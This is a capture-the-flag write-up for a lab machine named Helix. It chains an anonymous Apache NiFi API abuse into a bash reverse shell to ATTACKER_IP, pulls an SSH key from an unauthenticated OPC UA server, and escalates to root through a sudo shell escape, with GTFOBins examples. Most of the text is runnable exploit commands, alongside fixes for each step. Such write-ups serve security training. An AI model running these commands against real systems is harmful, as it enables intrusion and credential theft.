Helix
Summary
I exploited Apache NiFi's anonymous REST API to inject an operating-system command processor and land a reverse shell as the nifi service account. From that foothold I discovered an unauthenticated OPC UA industrial server listening only on the loopback interface, browsed its custom node tree, and extracted an SSH private key stored in plaintext inside a sensor-data namespace.
Logging in as the operator user with that key, I found a passwordless sudo rule granting access to a custom maintenance console that exposed a shell-escape path, yielding an unrestricted root shell and both flags.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
Full TCP scan; save results for reference.
$ nmap -Pn -sV -sC --min-rate 5000 -p- $TARGET -oN helix_nmap.txtExact commands 2
Brute-force virtual-host names against the nginx listener.
$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.helix.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302Confirm anonymous NiFi API access and capture the version string.
$ curl -s -H 'Host: flow.helix.htb' http://$TARGET/nifi-api/system-diagnostics | python3 -m json.toolFixEnable authentication and network isolation on Apache NiFiCritical
Exact commands 4
Start listener on my machine before triggering the payload.
$ nc -lvnp 4448Retrieve the root process-group ID required for processor creation.
$ PG_ID=$(curl -s -H 'Host: flow.helix.htb' http://$TARGET/nifi-api/process-groups/root | python3 -c "import sys,json; print(json.load(sys.stdin)['processGroupFlow']['id'])")
echo $PG_IDCreate the ExecuteProcess processor with a bash reverse-shell payload.
$ PROC_ID=$(curl -s -X POST "http://$TARGET/nifi-api/process-groups/${PG_ID}/processors" -H 'Host: flow.helix.htb' -H 'Content-Type: application/json' -d '{"revision":{"version":0},"component":{"type":"org.apache.nifi.processors.standard.ExecuteProcess","name":"rce","config":{"properties":{"Command":"bash","Command Arguments":"-c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/'"$ATTACKER_IP"'/4448${IFS}0>&1"},"schedulingStrategy":"TIMER_DRIVEN","schedulingPeriod":"1 sec","autoTerminatedRelationships":["success"]}}}' | python3 -c "import sys,json; print(json.load(sys.stdin)['component']['id'])")
echo $PROC_IDStart the processor — triggers the callback to the listener.
$ curl -s -X PUT "http://$TARGET/nifi-api/processors/${PROC_ID}/run-status" -H 'Host: flow.helix.htb' -H 'Content-Type: application/json' -d '{"revision":{"version":1},"state":"RUNNING"}'Exact commands 3
Confirm shell identity and working directory.
$ id; whoami; hostname; pwdList all TCP listeners — reveals internal OPC UA on 4840 and HTTP on 8081.
$ ss -tlnpIdentify the OPC UA server process and confirm it runs as a service account.
$ ps aux | grep -E 'opcua|python'Exact commands 2
List all OPC UA namespaces — confirms urn:helix:ot at index 2.
$ python3 -c "
from opcua import Client
c = Client('opc.tcp://127.0.0.1:4840/helix')
c.connect()
for i,ns in enumerate(c.get_namespace_array()): print(i, ns)
c.disconnect()
"Recursively browse the object tree in the custom namespace.
$ python3 -c "
from opcua import Client
c = Client('opc.tcp://127.0.0.1:4840/helix')
c.connect()
objs = c.get_objects_node()
for child in objs.get_children():
print(child.nodeid, child.get_browse_name())
for sub in child.get_children(): print(' ->', sub.nodeid, sub.get_browse_name())
c.disconnect()
"FixRequire authentication on the OPC UA server and remove credentials from node valuesCritical
Exact commands 4
Read all child node values under Locations — SSH key material is returned here.
$ python3 -c "
from opcua import Client
c = Client('opc.tcp://127.0.0.1:4840/helix')
c.connect()
node = c.get_node('ns=2;i=31915')
for child in node.get_children():
try:
val = child.get_value()
print(child.get_browse_name(), ':', val)
except: pass
c.disconnect()
"Set correct permissions on the recovered private key file.
$ chmod 600 /tmp/operator_id_ed25519Log in as operator using the extracted key.
$ ssh -i /tmp/operator_id_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null operator@$TARGETCapture user flag — value is <user.txt>.
$ cat ~/user.txtExact commands 3
Run as operator — confirms NOPASSWD rule for /usr/local/sbin/helix-maint-console.
$ sudo -lOpen the console interactively; look for a shell, command, or debug option that invokes /bin/sh or /bin/bash.
$ sudo /usr/local/sbin/helix-maint-consoleNon-interactive version used in the engagement — pipes commands into the console stdin to read root.txt; actual value is <root.txt>.
$ printf 'cat /root/root.txt\nexit\n' | ssh -tt -i /tmp/operator_id_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null operator@$TARGET 'sudo /usr/local/sbin/helix-maint-console'FixRemove the passwordless sudo rule for helix-maint-console and eliminate its shell-escape pathsHigh
Attack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.